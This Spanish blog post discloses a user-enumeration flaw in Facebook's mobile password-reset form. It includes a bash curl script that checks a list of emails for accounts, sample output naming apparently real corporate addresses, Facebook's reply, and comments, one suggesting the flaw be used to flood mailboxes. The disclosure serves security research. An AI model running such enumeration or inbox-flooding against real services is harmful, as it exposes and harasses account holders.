No hace falta escribir una introducción de lo que es Facebook, creo que ya todos sabemos lo malo que es. El tema de la privacidad siempre ha sido un problema para Facebook, ya que si no existiera ese concepto su negocio sería más fácil.
Existen muchas formas de encontrar a personas que usen Facebook, como usar el propio buscador o simplemente consultando el nombre de una persona en Google. Sin ser usuario registrado, es posible conocer a todos los contactos de un usuario, acceder a la foto del perfil, conocer su nombre y si todo sale bien podemos encontrar detalles sobre su vida.
Lo que les comentaré ahora, corresponde a un fallo de seguridad encontrado en la versión móvil de Facebook, que obviamente, afecta a todos los usuarios. Este bug nos permite saber si existe una cuenta asociada a una dirección de correo o número telefónico.
Antes de decidirme a escribir, conversé con distintas personas sobre el tema para ver si no era sólo yo quien veía una vulnerabilidad donde ellos veian una "característica". Si bien cualquier usuario podría "importar" una lista de correos y buscar coincidencias o simplemente usar el buscador de Facebook ingresando la dirección de un correo, el proceso también puede hacerse de forma automatizada, sin ningún tipo de filtros y pudiendo fastidiar a más de un usuario. Curiosamente, esto no se puede hacer en la versión principal de la red social, ya que tiene un CAPTCHA que no permite al bot realizar su trabajo.
El bug se encuentra en la opción "Recuperar contraseña" de la versión mobile (m.facebook.com), el formulario encargado del proceso de reinicio de contraseña no tiene ningún tipo de validación, carece de captchas y no tiene tokens de seguridad, por lo que es posible realizar peticiones POST desde sitios remotos o usando herramientas como curl o wget. Es posible aprovecharse de este bug y explotar la vulnerabilidad para enumerar usuarios según una lista de direcciones de correo o de números telefónicos. Para este ejemplo utilizaré direcciones de correos tomadas desde distintas páginas de "contactos" al azar.
Prueba de Concepto
Al ingresar a la opción de Recuperar contraseña, nos aparece el siguiente formulario:
Hagamos la prueba de ingresar dos correos electrónicos, uno que sepamos que tiene cuenta en Facebook y otro inventado, que estemos seguros de que no tiene cuenta.
- El correo de prueba verdadero es "pruebasfacebook@hushmail.com" (previamente creado y existente en Facebook)
- La dirección de correo electrónica falsa será "asdfgasdfg@asdfg.ko".
Respuesta de la aplicación de Facebook cuando la dirección de correo electrónico tiene una cuenta asociada |
Respuesta de la aplicación de Facebook cuando la dirección no tiene una cuenta asociada |
El bot ninja
El script que usaremos de prueba es:
#/bin/bash for mail in $(cat $1); do s=$(curl -s -d "ep=$mail" http://m.facebook.com/reset.php?refid=0|grep form>/dev/null); if [ $? -eq 0 ]; then echo "$mail No tiene cuenta."; else echo "$mail Si tiene cuenta."; fi done
Para ejecutarlo simplemente debemos pasarle un archivo con la lista de correos (correos_poc.txt como ejemplo) a validar:
$ sh poc.sh correos_poc.txt
mmercado@solteroingenieria.com Si tiene cuenta.
ileon@solteroingenieria.com Si tiene cuenta.
delapuente@solteroingenieria.com No tiene cuenta.
cvalenzuela@solteroingenieria.com Si tiene cuenta.
cloyola@solteroingenieria.com Si tiene cuenta.
fconte@capehornmarine.com No tiene cuenta.
diseno@capehornmarine.com Si tiene cuenta.
info@capehornmarine.com No tiene cuenta.
architect@capehornmarine.com Si tiene cuenta.
fconte@capehornmarine.com No tiene cuenta.
cc-ceics@msc.es No tiene cuenta.
clens@msc.es Si tiene cuenta.
ddocasar@msc.es Si tiene cuenta.
agomez@msc.es No tiene cuenta.
Esto mismo se puede hacer usando números telefónicos, para saber si existe alguna cuenta de Facebook asociada a un número.
Alcance de la vulnerabilidad
Sé que para muchos esto podría resultar trivial, pero pongámonos en el caso de un ataque dirigido a una empresa o a una persona, donde cada detalle y cada dato son valiosos. Si tuviésemos que validar una lista de miles de correos a mano, esto no sería factible.
También podría ser usado para fastidiar a personas o saturar casillas de correo, ya que al usuario al que pertenece el correo le llega un correo por cada petición realizada, como se aprecia en la siguiente captura:
Indiferente el alcance de esta vulnerabilidad, o si se tratase simplemente de un bug (porque sé que para muchos podría parecer inútil), Facebook no está validando peticiones desde sitios externos pudiendo generar peticiones GET/POST a formularios saltandose todo tipo de filtros.
Reporte y respuesta de Facebook
La vulnerabilidad fue reportada como CSRF en el Sitio Web Movil, usando el formulario "whitehat", con detalles e incluyendo una prueba de conceptos, la respuesta fue:
The ability to locate one of your friend's by their email address is core part of interacting with your friends on Facebook. When a user signs up to Facebook, there is an expectation that they may be located in this manner. An email --> user mapping is exposed in several parts of the site (predominantly, in search).[...]this style of information disclosure vulnerability may be applicable at a financial or banking website, it is a core part of the experience on social networks that are designed to connect email addresses to users. As another example, someone who desires to obtain this type of information could first load all of the email addresses into a throw-away email address book, and then utilize our contact importer tool. Requiring the registration of an account would not provide any significant additional friction.While
Es decir, Facebook no asegura que la información de sus clientes usuarios no pueda ser recolectada de forma automática por un bot o por cualquier otro proceso, aún cuando existen los mecanismos de protección como los ya mencionados CAPTCHA o tokens.
----------------------------------------------------
Contribución enviada por Fernando Lagos (@Zerial)
11 comments :
Muy interesante.
¿ Cómo es eso de saturar una cuenta de correos ? Se puede envíar tantos mails que se llene el espacio de almacenamiento ?
Buen post.
Hola Mailsantiagopaz,
Claro, puedes saturar un servicio de correos llenandolo de correos o bien saturar una casilla para que se quede sin espacio de almacenamiento. Tambien puedes hacer que ciertos filtros lo tomen como spam luego de enviar muchos correos a la vez.
Es para fastidiar un poco ....
Esta genial la noticia, aunque es algo absurdo por parte de los desarrolladores que dejaran esta vulnerabilidad sin pensar en las consecuencias, tal vez por si solo no represente mucha amenaza pero alguna mente creativa podría realmente hacer daño con esto.
salu2
Exacto! A mi me llamo mucho la atencion que en la version "full" de facebook.com exista validacion y uso de captchas, pero en la version "movil" no, claramente es un bug... proteges ambas, o ninguna
Exacto Freexd15! Me llama mucho la atencion que se preocuparan de proteger la version "full" de facebook (www.facebook.com) y la version movil (m.facebook.com) la dejen tan desprotegida...
La respuesta de los de facebook es un facepalm inmenso.... No es un bug, es una feature!
Asi es. Es curioso y me llama la atencion que la version full de facebook (www.facebook.com) este protegida, tenga captcha y otro tipo de validaciones y la version mobile (m.facebook.com) no tiene ningun tipo de proteccion, dos interaces para la misma "funcionalidad", una protegida y la otra no... Proteges una o no proteges ninguna, no?
Ya cambiaron la versión para mobile, y para navegador normal, creo que hay que realizar unos cambios al Bot Ninja no crees? saludos.
Como se Haceee..
Me inhabilito tempóralmente facebook por una foto que publique me pueden ayudar a habilitarla de nuevo por favor!!!!!
Publicar un comentario